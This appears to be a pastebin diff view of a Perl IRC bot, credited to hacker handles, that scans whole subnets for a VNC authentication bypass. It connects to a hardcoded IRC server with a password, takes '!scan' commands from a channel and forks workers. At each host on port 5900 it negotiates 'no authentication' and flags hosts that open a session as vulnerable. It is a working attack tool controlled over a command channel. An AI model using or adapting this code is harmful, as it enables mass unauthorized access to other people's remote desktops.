View difference between Paste ID: 41JhTMj4 and 0426m9Ju
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/perl 
2
    # IRC Scanner - VNC VULN SCAN 
3
    # by Nexen && CrashOveriDe 
4
    # Multi-threaded scan for OpenVNC 4.11 authentication bypass. 
5
    # Based on Tyler Krpata's Perl scanning code. 
6
 
7
    #piglio le librerie 
8
    use IO::Socket; 
9
    use IO::Socket::INET; 
10
    use threads; 
11
    use threads::shared; 
12
    use Errno qw(EAGAIN); 
13
    use strict; 
14
    use warnings; 
15
    my $line; 
16
 
17
    my $vulnerabili; 
18
 
19
 
20
    #definisco alcune var 
21
    our @results : shared; 
22
    our $todo = 0; 
23
    our $contatore = 0; 
24
    my $orig_thread = "yes"; 
25
    my $start; 
26
    my $end; 
27
    my $time_estimate; 
28
    my $elapsed = time; 
29
    my $out_file; 
30
 
31
    ++$|; # To watch as the results come in, in real time. 
32
 
33
    #variabili di configurazione 
34
    use constant VNC_PORT => 5900; 
35
    my $splits = 5; # Creates 2^N processes. 
36
    my $avg_time = 5; # Tweak this to get better time estimates. 
37
    our $subnet; 
38
    my $server="93.174.0.37"; # irc server 
39
    my $porta="7000"; # port 
40
    my $nick="[Scan|VNC]";# nick 
41
    my $canale="#xp"; # canale 
42
 
43
    #mi connetto a irc 
44
    my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n"; 
45
    $sk->autoflush(1); 
46
    print $sk "PASS mawhaha\r\n"; 
47
    print $sk "NICK $nick\r\n"; 
48
    print $sk "USER vncscan_bot 8 *  : nexen : priv8 : crash_overide :unknown\r\n"; 
49
    print $sk "JOIN $canale\r\n"; 
50
    printa(" 4,1 9Priv8 VNC SCANNER --- by  4CrashOveriDe & Nexen 9 -- Priv8!! Priv8!! Priv8!! -- !!  \r\n"); 
51
    printa(" 4,1 9Priv8 VNC SCANNER --- For scan use  4!scan range 9 [ex 1.1.1.*]-- Priv8!! Priv8!! Priv8!! -- !!  \r\n"); 
52
    #PRENDO I MESSAGGI 
53
    while($line = <$sk>){ 
54
 
55
      $line =~ s/\r\n$//; 
56
 
57
      if ($line=~ /^PING \:(.*)/) ######## PING REPLY 
58
      { 
59
          print $sk "PONG :$1"; 
60
      } ############################ END PING REPLY 
61
 
62
      if ($line=~ /!scan (.+)/) 
63
      { 
64
          $subnet = $1; 
65
          if ($subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/) { 
66
 
67
            # Put the subnet in the form x.y.z. so we can just concatenate the hostnum. 
68
            $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/; 
69
            $subnet .= "."; 
70
 
71
            $out_file = "VNC_" . $subnet . "txt"; 
72
 
73
            # Mostly a guesstimate 
74
            $time_estimate = $avg_time * (256 / (2**$splits)); 
75
            $time_estimate = int ($time_estimate / 60); 
76
            $time_estimate += 4; 
77
 
78
            printa(" 4,1 9Scanning subnet ${subnet}x -- this should take approximately $time_estimate minute(s).  \n"); 
79
            printa(" 4,1 9[!] = Vulnerable, [*] = Safe, [.] = No response.  "); 
80
 
81
            CHECK: { 
82
                unless ($splits >= 0 && $splits <= 8) { 
83
                    die "ERROR: Do not split $splits times--that makes no sense.\n"; 
84
                } 
85
 
86
                unless ($splits <= 5) { 
87
                    warn "Reduce the number of splits from $splits to 5 or less if you 
88
                    get memory errors.\n\n"; 
89
                } 
90
            } 
91
 
92
 
93
 
94
 
95
            # Ugly, but this works. 
96
            DivideWork() if $splits >= 1; 
97
            DivideWork() if $splits >= 2; 
98
            DivideWork() if $splits >= 3; 
99
            DivideWork() if $splits >= 4; 
100
            DivideWork() if $splits >= 5; 
101
            DivideWork() if $splits >= 6; 
102
            DivideWork() if $splits >= 7; 
103
            DivideWork() if $splits >= 8; 
104
 
105
 
106
 
107
 
108
    # Which IPs this thread scans. 
109
            $start = $todo << (8 - $splits); 
110
            $end = $start + (256 / (2**$splits)) - 1; 
111
 
112
            foreach ($start .. $end) { 
113
 
114
                Scan_VNC($_); 
115
 
116
            } 
117
 
118
            wait until $?; # Wait for children to finish. 
119
            exit unless $orig_thread eq "yes"; 
120
 
121
            # Only the original parent thread will continue. 
122
 
123
            $elapsed = time - $elapsed; 
124
            $elapsed /= 60; 
125
            $elapsed = int $elapsed; 
126
 
127
            printa(" 4,1 9Finished scanning ${subnet}x in $elapsed minute(s).  "); 
128
 
129
            $vulnerabili=SaveData(); 
130
                            printa(" 4,1 9Trovate TOTALI $vulnerabili VNCS  "); 
131
 
132
          } else { 
133
          printa(" 4,1 9Non e la sintassi giusta lamah. Inserisci qualcosa come 192.168.1.* "); 
134
          } 
135
 
136
      } 
137
 
138
 
139
    } 
140
 
141
    #################################### 
142
 
143
    sub DivideWork { 
144
        my $pid; 
145
 
146
        FORK: { 
147
            $todo *= 2; 
148
            if ($pid = fork) { 
149
                # Parent 
150
                ++$todo; 
151
 
152
            } elsif (defined $pid) { 
153
                # Child 
154
                $orig_thread = "no"; 
155
 
156
            } elsif ($! == EAGAIN) { 
157
                # Recoverable forking error. 
158
                sleep 7; 
159
                redo FORK; 
160
 
161
            } else { 
162
                # Unable to fork. 
163
                printa("Unable to fork: $!\n"); 
164
 
165
            } 
166
        } 
167
    } 
168
 
169
 
170
    sub SaveData { 
171
        my $vulns = 0; 
172
        open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!"; 
173
 
174
        foreach my $IP (1..254) { 
175
            my $record; 
176
            $record = $results[$IP]; 
177
 
178
            unless ($record =~ /not vulnerable/) { 
179
                ++$vulns; 
180
                print FOUND $record; 
181
            } 
182
        } 
183
 
184
        print FOUND "\nVulnerabilites found: $vulns"; 
185
        close(FOUND) or die "Cannot close $out_file -- $!"; 
186
 
187
        printa("Data saved to ${out_file}"); 
188
    return $vulns; 
189
    } 
190
 
191
    sub Scan_VNC { 
192
        # Scan for OpenVNC 4.11 authentication bypass. 
193
 
194
        my $hostnum = shift; 
195
        my $host = $subnet . $hostnum; 
196
        my $sock; 
197
        my $proto_ver; 
198
        my $ignored; 
199
        my $auth_type; 
200
        my $sec_types; 
201
        my $vnc_data; 
202
 
203
 
204
        $host or printa("ERROR: no host passed to Scan_VNC."); 
205
 
206
        # The host numbers .0 and .255 are reserved; ignore them. 
207
        if ($hostnum <= 0 or $hostnum >= 255) { return; } 
208
 
209
      # Format things nicely--that crazy formula just adds spaces. 
210
        $results[$hostnum] = "$host"; 
211
        $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = "; 
212
 
213
        unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) { 
214
            $results[$hostnum] .= "Not vulnerable, no response.\n"; 
215
          printa("."); 
216
            return; 
217
        } 
218
 
219
        # Negotiate protocol version. 
220
        $sock->read($proto_ver, 12); 
221
        print $sock $proto_ver; 
222
 
223
        # Get supported security types and ignore them. 
224
        $sock->read($sec_types, 1); 
225
        $sock->read($ignored, unpack('C', $sec_types)); 
226
 
227
        # Claim that we only support no authentication. 
228
        print $sock "\x01"; 
229
 
230
 
231
        # We should get "0000" back, indicating that they won't fall back to no authentication. 
232
        $sock->read($auth_type, 4); 
233
        if (unpack('I', $auth_type)) { 
234
            $results[$hostnum] .= "Not vulnerable, refused to support 
235
            authentication type.\n"; 
236
            printa("*"); 
237
            close($sock); 
238
            return; 
239
        } 
240
 
241
        # Client initialize. 
242
        print $sock "\x01"; 
243
 
244
        # If the server starts sending data, we're in. 
245
        $sock->read($vnc_data, 4); 
246
 
247
        if (unpack('I', $vnc_data)) { 
248
            $results[$hostnum] .= "VULNERABLE! $proto_ver\n"; 
249
            printa("! $host$hostnum VULNERABLE"); 
250
        } else { 
251
            $results[$hostnum] .= "Not vulnerable, did not send data.\n"; 
252
            printa("*"); 
253
        } 
254
 
255
        close($sock); 
256
        return; 
257
    } 
258
 
259
    sub printa { 
260
    print  "PRIVMSG $canale : ".$_[0]."\r\n"; 
261
 
262
    }